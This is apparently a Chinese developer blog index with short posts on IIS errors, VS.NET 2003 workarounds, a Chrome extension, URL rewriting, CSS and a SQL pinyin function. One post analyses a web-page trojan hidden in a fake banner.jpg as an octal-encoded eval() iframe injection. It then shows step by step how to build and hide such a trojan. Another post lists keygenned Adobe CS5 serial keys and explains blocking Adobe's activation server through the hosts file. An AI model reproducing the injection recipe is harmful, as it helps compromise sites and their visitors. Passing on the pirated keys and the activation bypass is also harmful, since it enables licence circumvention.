博客 (838)

设置方法:在“编辑”菜单上指向“大纲显示”,然后单击“启动自动大纲显示”。

xoyozo 13 年前
6,781
HTTP 错误 404.0 - Not Found
您要找的资源已被删除、已更名或暂时不可用


详细错误信息
模块 IIS Web Core
通知 MapRequestHandler
处理程序 StaticFile
错误代码 0x80070002


解决方法:
打开 Web.config 文件,
往 <configuration> 节点的 <system.webServer> 节点添加节点:
<modules runAllManagedModulesForAllRequests="true" />
14,105

Windows 7 使用 VS.NET 2003 开发项目时经常会遇到类似如下错误:

TestServer fatal error LNK1201: 写入程序数据库“d:\Projects\GameServer\data\TestServer.pdb”时出错;请检查是否是磁盘空间不足、路径无效或权限不够

在排除了空间、路径、权限等原因后仍然无法顺利生成项目,微软官方也没有提供相关的解决方案,Google 了好几天也找不到网友任何修复建议,今天偶然发现 MSDN 上一篇帖子,正是讨论这个问题,于是尝试按照上面的步骤进行操作,竟然真的可以!特分享给大家~

一、首先下载两个文件:Handle freepdb

二、解压这两个压缩包,并把“freepdb.cmd”和“handle.exe”两个文件移至同一目录下(如 C:\LNK1201\)

三、用 VS.NET 2003 打开一个项目,在解决方案资源管理器中项目文件上点右键属性,展开“生成事件”,点击“预生成事件”,在右侧命令行中填入“C:\LNK1201\freepdb TestServer”(注:将 TestServer 替换成您自己的项目名称)

四、完成!运行一下看看吧。如果仍然有问题,先双击运行这两个文件试试,因为我是先运行后再配置项目属性的,所以不确定不运行会不会出错。

如果上述文件无法下载,请联系 xoyozo 索取!Have fun!

xoyozo 15 年前
5,722

自 Vista 操作系统发布以来,不少 VC 开发者头痛 VS.NET 2003 与系统的兼容问题,比如较常用的“在文件中查找”(快捷键 Ctrl+Shift+F)会导致 VS.NET 无响应,这确实令开发过程不大顺利。其实完全不需要安装补丁或者插件就可以解决该问题:进入 VS.NET 的安装目录(可以从快捷方式的属性中点击“打开文件位置”);右击 devenv.exe 打开属性,切换到“兼容性”,在“禁用视觉主题”前打勾确定就行了。

xoyozo 15 年前
4,705
探索

今天访问某 asp 网站时发现不对劲,一看源文件原来网页被挂马了,仔细查看源代码发现:

<script>document.write("<scri");</script>pt src="images/banner.jpg"></script>

这段代码调用了 banner.jpg 这个 js 文件。用记事本打开这个文件发现以下内容:(木马内容已替换成安全内容)

eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51")

代码非常整齐,立刻怀疑是 ascii 码的八进制代码。于是解码之,就看到了:(木马内容已替换成安全内容)

document.write('<iframe src=https://xoyozo.net></iframe>')

至此,整个流程已非常清晰了。

JS 相关函数

八进制转化为十进制

var a = '144';
alert(parseInt(a, 8));  // 输出为 100

十进制转化为八进制

var a = 100;
alert(a.toString(8)); // 输出为 144

ASCII 码转化为字符

var a = 100;
alert(String.fromCharCode(a));  // 输出为 d

字符转化为 ASCII 码

var a = "d";
alert(a.charCodeAt(a));  // 输出为 100

如果用 alert 直接输出编码后的代码,看到的却是原码,下面提供HTML编码和解码:

function HTMLEncode(input) {
  var converter = document.createElement("DIV");
  converter.innerText = input;
  var output = converter.innerHTML;
  converter = null;
  return output;
}

function HTMLDecode(input) {
  var converter = document.createElement("DIV");
  converter.innerHTML = input;
  var output = converter.innerText;
  converter = null;
  return output;
}

您可以比较一下区别:

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(a);
var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
document.write(HTMLEncode(a));
为我所用

现在完全可以实现宿主页面执行嵌套 iframe 的效果了。如果需要更隐蔽,可以给 <iframe/> 加上尺寸属性。下面一起来制作一个简单的木马:把

document.write('<iframe src=https://xoyozo.net></iframe>')

编码为

\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\170\157\171\157\172\157\56\155\145\76\74\57\151\146\162\141\155\145\76\47\51

的代码为

var a = "document.write('<iframe src=https://xoyozo.net></iframe>')";
var b = "";
for (var i = 0; i < a.length; i++) {
  b += "\\" + a.charCodeAt(i).toString(8);
}
document.write(HTMLEncode(b));

然后加上 eval() 方法,保存为 .jpg 文件,再通过文章开始介绍的方法调用就行了。

xoyozo 15 年前
6,290

本文介绍了如何开发一个简单的 Chrome 扩展(extension)。我们要实现我的功能是,当点击图标时显示一个动态的页面(层),效果如下:

安装 Chrome

虽然开发完成的扩展能在“稳定版”谷歌浏览器中使用,但是你必需安装“开发版”谷歌浏览器才能完成开发调试工作。

创建扩展

这一步,我们要在 Chrome 的工具栏上添加一个扩展的图标。

1,在你电脑上的任意位置创建一个文件夹。

2,在该文件夹下创建一个文本文件,并改名为“manifest.json”,然后添加内容:

{
  "name": "My First Extension",
  "version": "1.0",
  "description": "The first extension that I made.",
  "browser_action": {
    "default_icon": "icon.png"
  },
  "permissions": [
    "http://api.flickr.com/"
  ]
}

3,下载这个图标并保存至该文件夹下。

4,加载扩展。

  • 点击 Chrome 工具栏上的扳手按钮,选择“扩展程序(E)”
  • 在打开的页面右侧点击“开发人员模式”
  • 点击“载入正在开发的扩展程序”,浏览到刚才创建的文件夹目录,点击确定。

不出意外,Chrome 工具栏上将显示刚才的图标,但是现在点击它没有任何反应,我们继续。

5,这一步,我们要让它弹出一个页面,并显示一些内容。

  • 打开“manifest.json”文件,找到
      "browser_action": {
        "default_icon": "icon.png"
      },
    替换为
      "browser_action": {
        "default_icon": "icon.png",
        "popup": "popup.html"
      },
    保存关闭。
  • 然后创建一个名为“popup.html”的文件,内容是:
    <style>
      body { min-width: 357px; overflow-x: hidden; }
      img { margin: 5px; border: 2px solid black; vertical-align: middle; width: 75px; height: 75px; }
    </style>
    
    <script>
      var req = new XMLHttpRequest();
      req.open(
        "GET",
        "http://api.flickr.com/services/rest/?" +
            "method=flickr.photos.search&" +
            "api_key=90485e931f687a9b9c2a66bf58a3861a&" +
            "text=hello%20world&" +
            "safe_search=1&" +  // 1 is "safe"
            "content_type=1&" +  // 1 is "photos only"
            "sort=relevance&" +  // another good one is "interestingness-desc"
            "per_page=20",
        true);
      req.onload = showPhotos;
      req.send(null);
    
      function showPhotos() {
        var photos = req.responseXML.getElementsByTagName("photo");
    
        for (var i = 0, photo; photo = photos[i]; i++) {
          var img = document.createElement("image");
          img.src = constructImageURL(photo);
          document.body.appendChild(img);
        }
      }
    
      // See: http://www.flickr.com/services/api/misc.urls.html
      function constructImageURL(photo) {
        return "http://farm" + photo.getAttribute("farm") +
          ".static.flickr.com/" + photo.getAttribute("server") +
          "/" + photo.getAttribute("id") +
          "_" + photo.getAttribute("secret") +
          "_s.jpg";
      }
    </script>
  • 回到“扩展程序”页面,找到正在开发的扩展,点击“重新载入”。
  • 现在再点击 Chrome 工具栏上的图标试试。

如果没有出现应有效果,请再仔细检查每一步骤。怎么样,非常简单吧!

5,566

Adobe CS5 正式版已经发布快一个月了,但是官方在前几天才刚刚开放了下载地址,而且仅有英文版,因此目前还没有官方的中文版,昨天在网上找了 Adobe Fireworks CS5 简体中文正式版,下载过来也是英文的。今天想碰碰运气找找序列号,竟意外地发现在一个国外的网站上提供了 CS5 几乎所有软件的注册机,真是 NiuBility。欣喜之余立即转了过来分享给大家~

首先

注册之前必须先用记事本打开:C:\WINDOWS\System32\drivers\etc\hosts
并往文件底部插入一行:127.0.0.1 activate.adobe.com

提供几枚先
!!!KEYGENNED SUITE KEYS:

Adobe Master Collection CS5 (tam/CORE):
1325-1056-1721-5483-9561-1437
1325-1697-3070-1098-9235-2681
1325-1053-5574-1374-0738-5522

Adobe Production Premium CS5 (tam/CORE):
1328-1354-8980-4611-7999-9461
1328-1892-4564-0306-8662-6350
1328-1226-7796-3732-4210-1386

~~~~~~~~~~~

!!!KEYGENNED APP KEYS:

Adobe Contribute CS5 (tam/CORE):
1188-1379-4455-8095-5270-5876
1188-1950-8045-8637-2637-8020
1188-1335-7259-9409-4951-8039

Adobe Fireworks CS5 (tam/CORE):
1193-1084-4981-0714-3104-9930
1193-1467-1783-0212-2995-3642
1193-1259-5223-4748-0540-5065

Adobe Flash Catalyst CS5 (tam/CORE):
1395-4353-1506-8696-1696-5354
1395-4196-7716-8853-8314-6439
1395-4794-0416-4644-3356-5759

Adobe Illustrator CS5 (tam/CORE):
1034-1638-2536-3789-7332-0552
1034-1678-4702-3914-4860-7678
1034-1840-4333-8452-8585-3296

Adobe Photoshop CS5 Extended:
1330-1397-1014-7571-2817-1355
1330-1250-9206-4495-3796-9368
1330-1331-8999-1502-9478-2917

Adobe Flash Pro CS5:
1302-1445-0965-0690-4402-0847
1302-1624-0431-3332-4638-9106
1302-1136-2269-9942-6545-4889

Adobe DreamWeaver CS5:
1192-1147-3018-0779-2193-4575
1192-1026-3909-1273-5298-0418
1192-1324-2160-7298-8532-9714

Adobe InDesign CS5:
1037-1140-6820-9728-5246-6934
1037-1154-7427-5295-2060-8570
1037-1325-9186-3970-2037-7519

~~~~~~~~~~~

!!!KEYS FOR OTHER APPS:

Adobe Encore CS5:
1132-1127-8739-4724-1356-4304

Adobe Soundbooth CS5:
1332-1281-2401-7141-7851-9214

Adobe OnLocation CS5:
1132-1434-9226-7415-1756-2046
下载注册机

普通下载 迅雷下载

友情提示

以上提供的注册机来自国外网站,经本人用 360 木马云查杀以及 Microsoft Security Essentials 检查无异常。为安全起见,请下载后使用自己安装的杀毒软件再次扫描。

38,312

xoyozo 曾经写过 简单实现在 ASP.NET 中执行 URL 重写,文中提到使用微软的 URLRewriter.dll 来配置实现 ASP.NET 的 URL 重写,并以此扩展为任意扩展名及目录的 URL 重写。本文在此基础上再次扩展,使之支持泛域名解析。

首先,您的网站必需放在独立服务器或 VPS 中,虚拟空间可能不支持泛解析。

进入域名控制面板,配置 A 记录:通配符(*)星号解析到网站所在的 IP。

根据前文配置 URL 重写。

<configuration> 节点下配置:

<RewriterConfig>  
<Rules>  
<RewriterRule>   
<LookFor>http://([a-zA-Z0-9-]+)\.域名/</LookFor>  
<SendTo>~/u.aspx?u=$1</SendTo>  
</RewriterRule>  
</Rules>  
</RewriterConfig>
xoyozo 15 年前
6,538

使网页变灰色,只需要一句 css 代码:

html { filter: grayscale(1); }

在 I10 / IE11 上的兼容方案需要 grayscale.js,参考此文:http://www.cnblogs.com/wangmeijian/p/4324693.html

CSS 背景图片变灰:https://stackoverflow.com/questions/16340159/greyscale-background-css-images


xoyozo 15 年前
8,546

我们经常需要使用拼音首字母来检索数据库,特别是应用于医院、商店等行业软件中。譬如搜索“zgr”就可以搜索所有包含“中国人”的记录。那么如果来实现才能即高效又方便呢?

方法一:先查询出所有记录,然后在逻辑层转化为拼音首字母后查询,显然傻瓜才会这么做。

方法二:在需要搜索的表中添加一个字段用于存放被检索字段内容对应的拼音,在搜索的时候同时去查询这两个字段,这种方法可行,但会增加数据库存放的大小。

方法三:在数据库中建立一个标量值函数,在执行查询语句时通过此函数来转化搜索,函数如下:

SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
-- =============================================
-- Author:		xoyozo
-- Create date: 2010-4-17
-- Description:	提供中文首字母
-- =============================================
CREATE FUNCTION fun_getPY
(
	@str NVARCHAR(4000)
)
RETURNS NVARCHAR(4000)
AS
BEGIN
	DECLARE @word NCHAR(1),@PY NVARCHAR(4000)
	SET @PY=''
	WHILE len(@str)>0
	BEGIN
		SET @word=left(@str,1)
		SET @PY=@PY+(CASE WHEN unicode(@word) BETWEEN 19968 AND 19968+20901
		THEN (SELECT TOP 1 PY FROM (
		SELECT 'A' AS PY,N'驁' AS word
		UNION ALL SELECT 'B',N'簿'
		UNION ALL SELECT 'C',N'錯'
		UNION ALL SELECT 'D',N'鵽'
		UNION ALL SELECT 'E',N'樲'
		UNION ALL SELECT 'F',N'鰒'
		UNION ALL SELECT 'G',N'腂'
		UNION ALL SELECT 'H',N'夻'
		UNION ALL SELECT 'J',N'攈'
		UNION ALL SELECT 'K',N'穒'
		UNION ALL SELECT 'L',N'鱳'
		UNION ALL SELECT 'M',N'旀'
		UNION ALL SELECT 'N',N'桛'
		UNION ALL SELECT 'O',N'漚'
		UNION ALL SELECT 'P',N'曝'
		UNION ALL SELECT 'Q',N'囕'
		UNION ALL SELECT 'R',N'鶸'
		UNION ALL SELECT 'S',N'蜶'
		UNION ALL SELECT 'T',N'籜'
		UNION ALL SELECT 'W',N'鶩'
		UNION ALL SELECT 'X',N'鑂'
		UNION ALL SELECT 'Y',N'韻'
		UNION ALL SELECT 'Z',N'咗'
		) T 
		WHERE word>=@word COLLATE Chinese_PRC_CS_AS_KS_WS 
		ORDER BY PY ASC) ELSE @word END)
		SET @str=right(@str,len(@str)-1)
	END
	RETURN @PY
END

使用方法:

select * from 表 where fun_getPY(字段) like N'%zgr%'

此方法是最快捷方便的,通过测试在文章表中搜索标题首字母,其耗时大约为不使用此函数搜索的 3 倍,相信部署在小数据量的项目中的成本是非常低的。

LINQ 方式操作

初学 LINQ 的朋友或许对 .dbml 文件不是很熟悉,数据库中的表可以直接拖动到 .dbml 的左侧,而存储过程、函数等可以直接拖到其右侧,然后就可以直接在逻辑使用了,下面是例子:

DataClassesXDataContext db = new DataClassesXDataContext();
var q = from d in db.Documents
	where d.Title.Contains("zgr") || db.fun_getPY(d.Title).Contains("zgr")
	select d;
9,341